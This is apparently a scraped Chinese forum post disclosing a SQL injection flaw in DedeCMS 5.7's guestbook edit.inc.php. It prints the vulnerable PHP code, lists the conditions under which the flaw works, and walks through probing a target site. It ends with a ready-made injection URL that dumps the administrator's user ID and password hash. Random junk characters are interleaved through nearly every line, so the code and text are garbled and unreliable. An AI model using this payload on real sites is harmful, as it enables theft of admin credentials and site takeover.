影响版本为5.7
0 U4 t; s2 ]/ {% s4 Z' p
9 O' P) f' p/ u! t2 b! K2 p' z \6 p漏洞文件edit.inc.php具体代码:
7 t! @# J x! F9 S/ r6 U3 Q9 P) s0 y1 ]
< ?php ! n/ P4 }; J) a
- |6 M, L7 W! Q% c- q& y5 oif(!defined('DEDEINC')) exit('Request Error!');
|" s$ ?3 g9 x
* O- _' t( {, I' H& [% ~; E 0 j5 m8 x9 j8 X2 n4 X
6 b6 B9 o: C: U0 n8 }if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
. [/ s! U# @2 E1 t
& o' Y. w0 D* O( T5 l/ ^: Pelse $GUEST_BOOK_POS = "guestbook.php";
: l# }; I$ s0 ^8 O L6 S `: ]0 C) q6 w
2 H' P) `3 Z% _* U$ f. q. C
% N" L/ m6 T0 l$ a* U( N" m% d# K- N$id = intval($id); 8 T: G" B- f: x+ g3 _* r+ M9 _
8 M: s, n+ S- O5 E: ?2 e0 zif(empty($job)) $job='view';
- I* g* {2 T: p+ }; Z' M) ?# I3 x7 Q$ w6 G' `% f
|) A% f$ L# M e6 S k6 S6 I
, ?0 c& P' W2 H0 M+ @7 rif($job=='del' && $g_isadmin)
( f ^4 V# p! i0 E7 I' |6 a$ p. t. Y4 q U7 D9 d/ t k, F
{ . b( U; C/ s: [
& B. @8 i+ P' N1 Z( P9 c3 f$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
" [' ?& g i% [; z! c! L, \! m* [9 y
3 c; O4 P6 H1 a' A t: w+ L; `8 ^ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
6 E5 P5 @4 x. D& P6 l2 f2 l# n m% m
exit();
) U# G3 |" V8 G* Y+ H V
# a, Q$ g+ B! E j2 k$ y}
& [) Y( D% h* i- u; j% g" J! W, c4 @* r$ v
else if($job=='check' && $g_isadmin)
y. @1 Y( M+ O% s3 w
/ ^# {& J$ W4 C! b/ }/ U" [& A+ x4 ~3 v{
0 c$ T" V/ F" b: b$ w/ I& D" k2 I- O4 Z' k& i \/ I+ E4 w, x
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); 6 B- y$ W6 Q3 ?" x' O, }+ p, U
6 D4 \3 W" r7 ?. @- `( Z ^ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
! K; I1 L0 f- ~- [5 r; J& l3 d- C4 S) _& M0 U
exit(); 2 g X F+ [$ Y
' @7 d. G% X2 v% q: @
} 4 D# C$ J, f, y
h, x% G/ u' J0 r0 G4 Q( g; u
else if($job=='editok') & r! G8 ^0 o% s& H
% Y8 E$ }5 \4 I. Q
{ # J% ?8 ]" p. h9 e" c+ V5 A0 P
/ N7 b/ F m6 I4 X$remsg = trim($remsg);
: {) b/ {: I$ j5 p3 ]4 ]* [/ _# ^4 o9 f% \0 W4 O9 p9 E3 X+ ]
if($remsg!='') & I7 k* x5 V) N
; p" A& q7 d* S1 N5 S5 b# @* p{
' f& ~2 q5 g- s Q8 g6 m4 o5 t* L' I! l8 K+ M( o
//管理员回复不过滤HTML By:Errorera blog:errs.cc
+ K. J( q1 e! f9 E5 ]" e. I& c9 h# ` E9 |% O1 }0 A1 S* L
if($g_isadmin)
5 Y: t, _9 C. a1 k
) U* p# b7 @1 \. u{
- h! c0 U, | [; f8 \# T5 B$ W# T8 m
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; - q. p; o- f! \' H, w4 e
! R+ O' O: G6 L! q! T. V3 t# M
//$remsg <br /><font color=red>管理员回复:</font> } # q# u- J2 \* L/ R& {
1 S$ N$ I; s' P( f/ J# Pelse ( t4 W( g) | d
+ k# l/ V( _# [7 k' d{
- I$ u4 c c3 z; s& x9 ^: M
2 y" J# z s. i7 z$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); % R8 g5 |# E8 u% D
+ F3 c* b0 n1 N$ O+ i4 L
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
9 ?! i3 p$ R6 N0 S. Z& J
$ o8 ]& H/ ~. I9 ~" U$remsg = trimMsg(cn_substrR($remsg, 1024), 1); % r" {& _$ q, l- Z
9 S. ^2 A! O& |3 g- G, l L
$msg = $oldmsg.$remsg;
% ?4 }& \* H9 ^
/ s$ W5 ~; R% W- M}
( c5 A' f( T! a" P2 \1 z) w! D' `8 p$ p5 n/ O6 X
}
$ B! E4 g5 B; R$ U/ B1 T! A
6 t3 R3 ~4 C; |) u! Q# M//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc 3 h, X4 z3 J0 A/ A
" |# ^/ ^/ K5 A8 O" K7 e
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); ) i, W6 A. V9 a& r
1 @. M0 `! ?7 _
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
0 X' M& x% P1 z' t3 E* }' c$ k
! j0 `# ]* k. G. g. aexit();
( K. \0 m$ F; H7 g" C* ~
( A+ O& ^/ \5 r$ g$ u3 U6 Y6 H4 M}
; a) [0 [; t. F ]7 @* n" w- x3 x4 X5 F+ z
//home:www.errs.cc
7 P7 j. Z5 \2 `+ @0 S' A' e
9 v3 N( x7 D* P- ^5 ~ Eif($g_isadmin) 7 x D2 b* Z, f4 a, s! A) F' F
. H3 a" q! J9 U! M9 D{ & I+ ?9 @. L& z* f. d* W0 I
" Q K; j+ ~1 g* w. `1 w! H$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
5 w/ Y$ I5 _6 W( y/ T( e9 M- b! `/ B5 ^ H. n* t8 f9 ^
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); 3 B, o5 Y" |+ k" E0 P7 I% N: @
) L1 U2 H: Z+ D" e" X% q} ' @. y3 i# w! E: |
$ K6 @' {! p \1 u2 u4 ?
else
# g# F4 l! ?& ^1 |8 U6 `/ ^2 r& k: L' p4 R7 L
{ # q1 B- x& e; K5 c# G% [4 S
4 |7 D5 T/ t$ L3 l) Y$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); ' F- X2 s7 ]7 I/ n/ H- P! W; B+ U* g
8 h( I! M) @' ~, \; [& D. ~9 Lrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
- k, C4 x) I9 s. n+ X4 d3 h9 V6 O4 B
} 漏洞成功需要条件:
! O) @3 i- A$ O: n1. php magic_quotes_gpc=off
5 @* X7 l5 d1 u' l* G5 C. Y: G2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
2 D! q- f) A, P+ C9 o- l, F
) M+ p' z: D9 ^, P: e% p$ R2 i怎么判断是否存在漏洞:
, L' R ?$ c& s; }6 H先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,8 t+ p& r* j! O* s
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID; a0 d' Y* P q/ T$ N1 S5 G& u% Q
访问:
% T; S! N+ ^: P! Q
& }& k2 |3 r" O: v2 P( bwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了/ f/ y3 Q0 P" j/ v6 m# i' I
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证6 U: l6 V5 }- Z
0 J3 T7 O- D1 v$ ~. Z! A, F: B' f5 `( e, k
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off+ B7 a l D, l
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。6 [. I0 J3 X5 Z5 m$ w/ \0 O+ l
那么再次访问7 F8 I% y0 c8 F7 q) `! L
8 p% x$ Z- R$ a! J, t4 V4 N
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
5 f/ C( u: A, x3 t5 a6 C3 j. V6 h+ x3 C$ N5 k
大概利用就是这样,大家有兴趣的多研究下!!" ]& B- ^8 e5 N
5 f, L3 T% ~- Z# F& _& z最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!0 X# r2 w3 l. ^' u, k6 S, n
- j( I% v8 i5 K; T. s$ C# s: q- s
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |